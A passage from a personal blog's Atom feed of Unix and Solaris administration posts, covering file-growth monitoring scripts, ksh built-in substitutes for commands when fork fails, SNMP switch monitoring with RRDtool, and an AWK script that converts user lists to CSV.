&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1700054154485592626?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1700054154485592626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1700054154485592626' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1700054154485592626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1700054154485592626'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/reflections-value-of-persistence.html' title='Reflections - The Value of Persistence'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1851089270762414523</id><published>2010-02-20T11:41:00.002+08:00</published><updated>2010-02-20T11:51:41.885+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Which Files Grow The Fastest, Take 2</title><content type='html'>By expanding from my &lt;a href="http://chihungchan.blogspot.com/2010/02/which-files-grow-fastest.html"&gt;previous blog&lt;/a&gt;, I am able to find out what percentage of each of these files contributed to the file system growth. All I have to do is to keep track of the &lt;code&gt;df -k $dir&lt;/code&gt; in the two snapshots within the interval.
&lt;p&gt;
Here is the script
&lt;pre&gt;
#! /bin/ksh
#
# Find out the fastest growth of files within a certain interval


trap 'rm -f $tmpfile-*; exit 0' 0 1 2 3 5 9 15


PATH=/usr/bin:/bin:/usr/sbin
LD_LIBRARY_PATH=/usr/lib:/lib


if [ $# -ne 2 ]; then
        echo "Usage: $0 &lt;directory&gt; &lt;interval&gt;"
        exit 1
fi
dir=$1
interval=$2
if [ ! -d $dir ]; then
        echo "Error. $dir does not exist"
        exit 2
fi


tmpfile="/tmp/${0##*/}.$$"
touch $tmpfile-0


# first snapshot
sleep $interval
used1=`df -kl $dir | awk 'NR==2{print $3}'`
find $dir -type f -newer $tmpfile-0 -mount -ls | awk '{print "t1", $7, $11}' &gt; $tmpfile-1


# second snapshot
sleep $interval
used2=`df -kl $dir | awk 'NR==2{print $3}'`
find $dir -type f -newer $tmpfile-0 -mount -ls | awk '{print "t2", $7, $11}' &gt; $tmpfile-2


cat $tmpfile-1 $tmpfile-2 | nawk -v interval=$interval -v used1=$used1 -v used2=$used2 '
        BEGIN {
                # convert kilobyte to byte
                diffused=1024*(used2-used1)
        }
        $1=="t1" { t1[$3]=$2 }
        $1=="t2" { t2[$3]=$2 }
        END {
                for (i in t1) {
                        d=t2[i]-t1[i]
                        percent=100*d/diffused
                        printf("%d Bps (%.2lf %%) %s\n", d/interval, percent, i)
                }
        }' | sort -n -k 1
&lt;/pre&gt;
&lt;p&gt;
And the corresponding output:
&lt;pre&gt;
474 Bps (0.70 %) /opt/app/App/logs/current/poll20100219.out
504 Bps (0.74 %) /opt/app/App/logs/current/app.log20100219.log
818 Bps (1.20 %) /opt/app/App/logs/current/notify20100219.log
2165 Bps (3.18 %) /opt/app/bea/user_projects/domains/appDomain/servers/recorder.log
39638 Bps (58.28 %) /opt/app/App/logs/current/xml.log
&lt;/pre&gt;
&lt;p&gt;
Now we can clearly identified /opt/app/App/logs/current/xml.log contributed 58% of the file system growth.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1851089270762414523?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1851089270762414523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1851089270762414523' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1851089270762414523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1851089270762414523'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/which-files-grow-fastest-take-2.html' title='Which Files Grow The Fastest, Take 2'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5129765750497869141</id><published>2010-02-18T17:47:00.005+08:00</published><updated>2010-02-18T18:15:06.344+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Which Files Grow The Fastest</title><content type='html'>One of the file system mount points is growing at the rate of 100 KB per second, that is 8.3 GB per day. With this growth rate, the mount point will eventually hit 100% and the application will likely crash. There are couple of options:
&lt;ol&gt;
&lt;li&gt;Increase the size of the mount point, but this does not solve any problem, just deferring the issue
&lt;li&gt;Develop house-keeping script to periodically clean up some of the old logs, but this still not solving the problem
&lt;li&gt;Find out which files grow the fastest and work with the owner to resolve the issue.
&lt;/ol&gt;
&lt;p&gt;
Guess what, I choose the latter 'cos it is technically challenging. It does not seem to be straightforward to begin with because we have to deal with a lot of files in the file system. By taking advantage of the "-newer" flag in the &lt;code&gt;find&lt;/code&gt; command, I can &lt;code&gt;touch&lt;/code&gt; a file and locate any modified files newer than this within a certain interval. With two snapshots of &lt;code&gt;find&lt;/code&gt;, I can work out the growth rate in term of Bps (bytes per second).
&lt;p&gt;
Here is the code:
&lt;pre&gt;
#! /bin/ksh
#
# Find out the growth of files within a certain interval


trap 'rm -f $tmpfile; exit 0' 0 1 2 3 5 9 15


PATH=/usr/bin:/bin:/usr/sbin
LD_LIBRARY_PATH=/usr/lib:/lib


if [ $# -ne 2 ]; then
        echo "Usage: $0 &lt;directory&gt; &lt;interval&gt;"
        exit 1
fi
dir=$1
interval=$2
if [ ! -d $dir ]; then
        echo "Error. $dir does not exist"
        exit 2
fi


tmpfile="/tmp/${0##*/}.$$"
touch $tmpfile


sleep $interval
(
    find $dir -type f -newer $tmpfile -mount -ls | awk '{print "t1", $7, $11}'
    sleep $interval
    find $dir -type f -newer $tmpfile -mount -ls | awk '{print "t2", $7, $11}'
) | nawk -v interval=$interval '
$1=="t1" { t1[$3]=$2 }
$1=="t2" { t2[$3]=$2 }
END {
        for (i in t1) {
                d=t2[i]-t1[i]
                printf("%d Bps (Before:%d After:%d) %s\n", d/interval, t1
[i], t2[i], i)
        }
}' | sort -n -k 1
&lt;/pre&gt;
&lt;p&gt;
Script in action:
&lt;pre&gt;
# ./check-growth.ksh /opt/app 60
3 Bps (Before:4645717 After:4645924) /opt/app/domains/AppDomain/AppDomain.log
13 Bps (Before:14040 After:14820) /opt/app/App/logs/message20100218.log
71 Bps (Before:880056 After:884334) /opt/app/domains/AppDomain/record.log
415 Bps (Before:1282108337 After:1282133250) /opt/app/domains/AppDomain/audit.log
474 Bps (Before:514492 After:542938) /opt/app/App/logs/task.out
13675 Bps (Before:1203200386 After:1204020898) /opt/app/App/runs/nohup.out
43956 Bps (Before:47963888 After:50601297) /opt/app/App/logs/access20100218.log
&lt;/pre&gt;
&lt;p&gt;
Now we found out which files have contributed the most within a 1 minute interval. With these information, we can work with the application team to resolve the issue.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5129765750497869141?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5129765750497869141/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5129765750497869141' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5129765750497869141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5129765750497869141'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/which-files-grow-fastest.html' title='Which Files Grow The Fastest'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5602516423344809083</id><published>2010-02-13T12:03:00.007+08:00</published><updated>2010-02-15T18:36:11.898+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='RRDtool'/><title type='text'>Is High CPU Utilisation A Bad Sign ?</title><content type='html'>Is high CPU utilisation a bad sign ? Can a single CPU utilisation graph tell you the whole story ? In order to tell a real story, one need to piece other performance data together. 
&lt;p&gt;
Here is a typical monthly graph of the total CPU utilisation and memory utilisation put together in the same scale (percentage). You can see that this server has sufficient memory. As for the CPU, it hit 90-100% at the early hour everyday. As we all know, CPU utilisation can only max at 100% and we have no idea whether it exceeded the 100% mark.
&lt;br&gt;
&lt;a href="http://2.bp.blogspot.com/_QxCNUeDt_uQ/S3Ynbblc1HI/AAAAAAAAAiw/bW6zk52-DrE/s1600-h/cpu-nored.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 68px;" src="http://2.bp.blogspot.com/_QxCNUeDt_uQ/S3Ynbblc1HI/AAAAAAAAAiw/bW6zk52-DrE/s320/cpu-nored.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5437576952311239794" /&gt;&lt;/a&gt;
&lt;p&gt;
It is the &lt;a href="http://en.wikipedia.org/wiki/Load_(computing)"&gt;load averge&lt;/a&gt; that can tell you the amount of work that your server performs. With &lt;a href="http://oss.oetiker.ch/rrdtool/"&gt;RRDtool&lt;/a&gt; &lt;a href="http://oss.oetiker.ch/rrdtool/tut/cdeftutorial.en.html"&gt;CDEF&lt;/a&gt;, you can flag out if the cpu load exceeds the no. of CPUs. The CDEF definition is in &lt;a href="http://en.wikipedia.org/wiki/Reverse_Polish_notation"&gt;reverse polish notation&lt;/a&gt;, which may take a while to get used to it. Here is the same graph with additional information (indicated as red) to show if load is higher than the number of CPUs. &lt;br&gt;
&lt;a href="http://2.bp.blogspot.com/_QxCNUeDt_uQ/S3YqP4IWbVI/AAAAAAAAAi4/NyTeOHiyTiA/s1600-h/cpu-red.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 74px;" src="http://2.bp.blogspot.com/_QxCNUeDt_uQ/S3YqP4IWbVI/AAAAAAAAAi4/NyTeOHiyTiA/s320/cpu-red.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5437580052350266706" /&gt;&lt;/a&gt;
&lt;p&gt;
It is definitely possible to have various colour codes to indicate different level of load, eg. 1.0 &lt; load/#CPUs &lt; 1.5, 1.5 &lt;= load/#CPUs &lt; 2.0, ... They can all be done in CDEF.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5602516423344809083?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5602516423344809083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5602516423344809083' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5602516423344809083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5602516423344809083'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/is-high-cpu-utilisation-bad-sign.html' title='Is High CPU Utilisation A Bad Sign ?'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_QxCNUeDt_uQ/S3Ynbblc1HI/AAAAAAAAAiw/bW6zk52-DrE/s72-c/cpu-nored.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6745534280582160299</id><published>2010-02-04T21:39:00.009+08:00</published><updated>2010-02-11T21:20:01.163+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>My Solaris Cannot Fork</title><content type='html'>Recently one of my &lt;a href="http://www.sun.com/solaris"&gt;Solaris&lt;/a&gt; servers cannot fork due to "Resource temporarily unavailable". It was flagged out in the system message via syslog
&lt;p&gt;
Although I was still active in my ssh login session, I was not able to run any command (like ls, w, cat...) 'cos they need to fork out processes from the shell. In this kind of scenario, you are basically handicapped. After some searching on the web, I found &lt;a href="http://www.unix.com/sun-solaris/36983-fork-resource-temporarily-unavailable-what-can-i-check.html"&gt;this link&lt;/a&gt; that showed you how to simulate other commands using shell built-in functions. With this, there is no forking involved. Basically it take advantage of loop construct and file redirection.
&lt;p&gt;
I am trying to show you how you can do a few things with built-in functions that may help you to save the day. I believe it can do more than what I described here. BTW, they run on Korn shell.
&lt;p&gt;
Equivalent of "cat":
&lt;pre&gt;
my_cat()
{
        while read line
        do
                echo $line
        done &lt; $1
}
&lt;/pre&gt;
&lt;p&gt;
Equivalent of "wc":
&lt;pre&gt;
my_wc()
{
        nl=0
        nw=0
        nc=0
        in=$1
        while read line
        do
                ((nl=nl+1))
                set -- $line
                ((nw=nw+$#))
                ((nc=nc+${#line}+1))
        done &lt; $in
        echo "\t$nl\t$nw\t$nc\t$in"
}
&lt;/pre&gt;
&lt;p&gt;
Equivalent of "ls"
&lt;pre&gt;
my_ls()
{
my_ls()
{
        echo $@ | while read i
        do
                echo $i
        done
}
&lt;/pre&gt;
&lt;p&gt;
In such situation, you may want to count the total number of files opened in the system (based on /proc/*/fd/*, exclude stdin/stdout/stderr):
&lt;pre&gt;
my_nfd()
{
        n=0
        for fd in /proc/[0-9]*/fd/*
        do
                # exclude stdin/stdout/stderr (0/1/2)
                if [ ${fd##*/} -gt 2 ]; then
                        ((n=n+1))
                fi
        done
        echo $n
}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6745534280582160299?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6745534280582160299/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6745534280582160299' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6745534280582160299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6745534280582160299'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/my-solaris-cannot-fork.html' title='My Solaris Cannot Fork'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6824140621517093148</id><published>2010-01-26T16:04:00.005+08:00</published><updated>2010-01-26T16:31:24.507+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cygwin'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>One Man's Download Is Another Man's Upload</title><content type='html'>In my work environment, I often have to transfer files between UNIX servers and my Windows machine. For security and many "other reasons", I have to &lt;a href="http://en.wikipedia.org/wiki/Remote_Desktop_Protocol"&gt;remote desktop&lt;/a&gt; to another Windows server (so call "gateway server") before I can access (ssh, sftp) to those UNIX machines. If not, I will have to answer all the "why". Although there is no firewall setup between all these layers, I often have to make use of the gateway server to be the middle man to do all the file transfer.
&lt;p&gt;
I &lt;a href="http://chihungchan.blogspot.com/2009/08/extending-simple-http-server-in-python.html"&gt;blogged&lt;/a&gt; about how to download files from UNIX server, but never mentioned about how to upload file to the UNIX server. At the back of my mind I have been thinking about writing an http service for uploading. After some thoughts, I think I can simply run the same script in my Windows (&lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt; under &lt;a href="http://www.cygwin.com/"&gt;Cygwin&lt;/a&gt;) and use &lt;a href="http://www.gnu.org/software/wget/"&gt;wget&lt;/a&gt; to download files to the UNIX server. 
&lt;p&gt;
With this approach, I do not have to launch browser to upload files and all these can be done via command line. Also, I can reuse my old code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6824140621517093148?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6824140621517093148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6824140621517093148' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6824140621517093148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6824140621517093148'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/01/one-mans-download-is-another-mans.html' title='One Man&apos;s Download Is Another Man&apos;s Upload'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2008388684484310267</id><published>2010-01-21T00:08:00.002+08:00</published><updated>2010-01-21T00:13:16.555+08:00</updated><title type='text'>What Can You Learn From The Governator</title><content type='html'>If you watch &lt;a href="http://en.wikipedia.org/wiki/The_Apprentice_(TV_series)"&gt;The Apprentice&lt;/a&gt;, you probably came across this clip with the &lt;a href="http://en.wikipedia.org/wiki/Arnold_Schwarzenegger"&gt;&amp;quot;Governator&amp;quot;&lt;/a&gt;
&lt;p&gt;
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/3QkX9_zmIfE&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/3QkX9_zmIfE&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2008388684484310267?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2008388684484310267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2008388684484310267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2008388684484310267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2008388684484310267'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/01/what-can-you-learn-from-governator.html' title='What Can You Learn From The Governator'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1086288868025451793</id><published>2010-01-15T23:05:00.012+08:00</published><updated>2010-01-16T10:06:39.871+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tcl'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='RRDtool'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>HBA I/O Utilisation Monitoring</title><content type='html'>I recently just finished the development of monitoring 17 &lt;a href="http://www.brocade.com/"&gt;Brocade&lt;/a&gt; fibre channel switches with over 1200+ ports in total. The implementation is solely based on &lt;a href="http://en.wikipedia.org/wiki/Shell_script"&gt;UNIX shell script&lt;/a&gt;, &lt;a href="http://oss.oetiker.ch/rrdtool/"&gt;RRDtool&lt;/a&gt;, &lt;a href="http://www.tcl.tk/"&gt;Tcl&lt;/a&gt;, &lt;a href="http://httpd.apache.org/"&gt;Apache Web Server&lt;/a&gt; by polling the switches using &lt;a href="http://en.wikipedia.org/wiki/Simple_Network_Management_Protocol"&gt;SNMP&lt;/a&gt;.
&lt;p&gt;
Instead of polling individual port, we 'snmpwalk' the swFCPortTxWords (1.3.6.1.4.1.1588.2.1.1.1.6.2.1.11) and swFCPortRxWords (1.3.6.1.4.1.1588.2.1.1.1.6.2.1.12) &lt;a href="http://www.oidview.com/mibs/1588/SW-MIB.html"&gt;MIB&lt;/a&gt; branches. With this, we only have to do two polls per switch. The output will be parsed by a &lt;a href="http://www.tcl.tk/"&gt;Tcl&lt;/a&gt; program to output 'update somefile.rrd N:value' data stream and pipe it to 'rrdtool -' to update all the rrd files in one parse. Here is a sample pseudo code
&lt;pre&gt;
for switch in $all_switches
do
  for mib in swFCPortTxWords swFCPortRxWords
  do
      snmpwalk -v $version -c $community $switch $mib | tcl-program
      # expected output: "update somefile.rrd N:value"
  done
done | rrdtool -
&lt;/pre&gt;
&lt;p&gt;
All these runs on &lt;a href="http://www.sun.com/solaris"&gt;Solaris&lt;/a&gt;. BTW, the search form allows you to key in search patten using regular expression. The return page provides a summary plot link to aggregate all traffic in one plot.
&lt;p&gt;
Below shows some of the screen dump. 
&lt;br&gt;
Main page shows all the switches.&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QxCNUeDt_uQ/S1CFBoCjcHI/AAAAAAAAAiY/L1Pnmi_wqtk/s1600-h/hba1a.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 197px;" src="http://4.bp.blogspot.com/_QxCNUeDt_uQ/S1CFBoCjcHI/AAAAAAAAAiY/L1Pnmi_wqtk/s320/hba1a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5426983813955940466" /&gt;&lt;/a&gt;
&lt;p&gt;
Click on the 4th switch and this will show you all the FC ports:&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QxCNUeDt_uQ/S1CE6KucQiI/AAAAAAAAAiQ/hti1RtNszYQ/s1600-h/hba2a.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 197px;" src="http://3.bp.blogspot.com/_QxCNUeDt_uQ/S1CE6KucQiI/AAAAAAAAAiQ/hti1RtNszYQ/s320/hba2a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5426983685827871266" /&gt;&lt;/a&gt;
&lt;p&gt;
Click on the 4th port in the 4th switch. It shows you the daily, weekly, monthly and yearly Tx/Rx traffic&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QxCNUeDt_uQ/S1CEysxbBGI/AAAAAAAAAiI/-IEEOZdkcb0/s1600-h/hba3a.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://4.bp.blogspot.com/_QxCNUeDt_uQ/S1CEysxbBGI/AAAAAAAAAiI/-IEEOZdkcb0/s320/hba3a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5426983557528224866" /&gt;&lt;/a&gt;
&lt;p&gt;
If you use the search form, which can take regular expression, it returns the matching switch ports. The result page will include a Summary plot link to allow user to put all the traffic in one single page.&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QxCNUeDt_uQ/S1CEnMsPdPI/AAAAAAAAAiA/W1nn15lK_Fc/s1600-h/hba4a.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://2.bp.blogspot.com/_QxCNUeDt_uQ/S1CEnMsPdPI/AAAAAAAAAiA/W1nn15lK_Fc/s320/hba4a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5426983359938000114" /&gt;&lt;/a&gt;
&lt;p&gt;
A daily summary plot&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QxCNUeDt_uQ/S1CEf2odsJI/AAAAAAAAAh4/euNKuMatMBs/s1600-h/hba5a.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 197px;" src="http://3.bp.blogspot.com/_QxCNUeDt_uQ/S1CEf2odsJI/AAAAAAAAAh4/euNKuMatMBs/s320/hba5a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5426983233757491346" /&gt;&lt;/a&gt;
&lt;p&gt;
A weekly summary plot&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QxCNUeDt_uQ/S1CEXpbQ6FI/AAAAAAAAAhw/Mgz6AaL-4l4/s1600-h/hba6a.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_QxCNUeDt_uQ/S1CEXpbQ6FI/AAAAAAAAAhw/Mgz6AaL-4l4/s320/hba6a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5426983092773513298" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1086288868025451793?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1086288868025451793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1086288868025451793' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1086288868025451793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1086288868025451793'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/01/hba-io-utilisation-monitoring.html' title='HBA I/O Utilisation Monitoring'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_QxCNUeDt_uQ/S1CFBoCjcHI/AAAAAAAAAiY/L1Pnmi_wqtk/s72-c/hba1a.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1534947556221012366</id><published>2009-11-19T23:08:00.003+08:00</published><updated>2009-11-20T09:50:23.333+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cygwin'/><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>The AWK Way</title><content type='html'>Today I was given the task of converting few hundred files (743 to be exact) into CSV format. The filename is prefixed with hostname with a fix suffix and the content contains all the local user names. The task is to put them in rows with hostname in the 1st column and usernames in the 2nd column onwards. One more requirement is to exclude a few users in the output.

My initial solution is very much unix shell script-based. Although this is an one-off 'throw-away' solution, it is pretty inefficient because there is a lot of process creation within a for loop. It took 1 min 39.453 sec.

After some thoughts, I reckoned it is possible to do it efficiently in just &lt;a href="http://en.wikipedia.org/wiki/AWK"&gt;AWK&lt;/a&gt;. With the help of some of the built-in variables like FILENAME / NR / FNR, we can process all the input files within a single AWK code. The below code works in &lt;a href="http://www.cygwin.com/"&gt;Cygwin&lt;/a&gt;. The runtime for the AWK code is 2.797 sec, that's 35 times faster !

&lt;pre&gt;
$ ls *txt
host1_root.txt  host2_root.txt  host3_root.txt  host4_root.txt

$ paste *txt
usera   usere   userm   userx
userb   userx   userx   userw
userc   userf   usern   usery
userd   userg   usero   userz
userdx  usery   userp
userdy  userh   userx
        userz   userq
        useri   userqx
        userj   userr
        userk   userz
        userl   users
        userx   usert
                usery

$ cat a.awk
#! /usr/bin/awk -f


BEGIN {
        suffix="_root.txt"
        len=length(suffix)
}
#
# print CR if first line in input file except first file
FNR==1 &amp;&amp; NR&gt;1 {
        printf("\n")
}
#
# print hostname
FNR==1 {
        host=substr(FILENAME, 0, length(FILENAME)-len)
        printf("%s", host)
}
#
# print users, but exclude certain users
$0 !~ /^(userx|usery|userz)$/ {
        printf(",%s", $0)
}


$ ./a.awk *.txt
host1,usera,userb,userc,userd,userdx,userdy
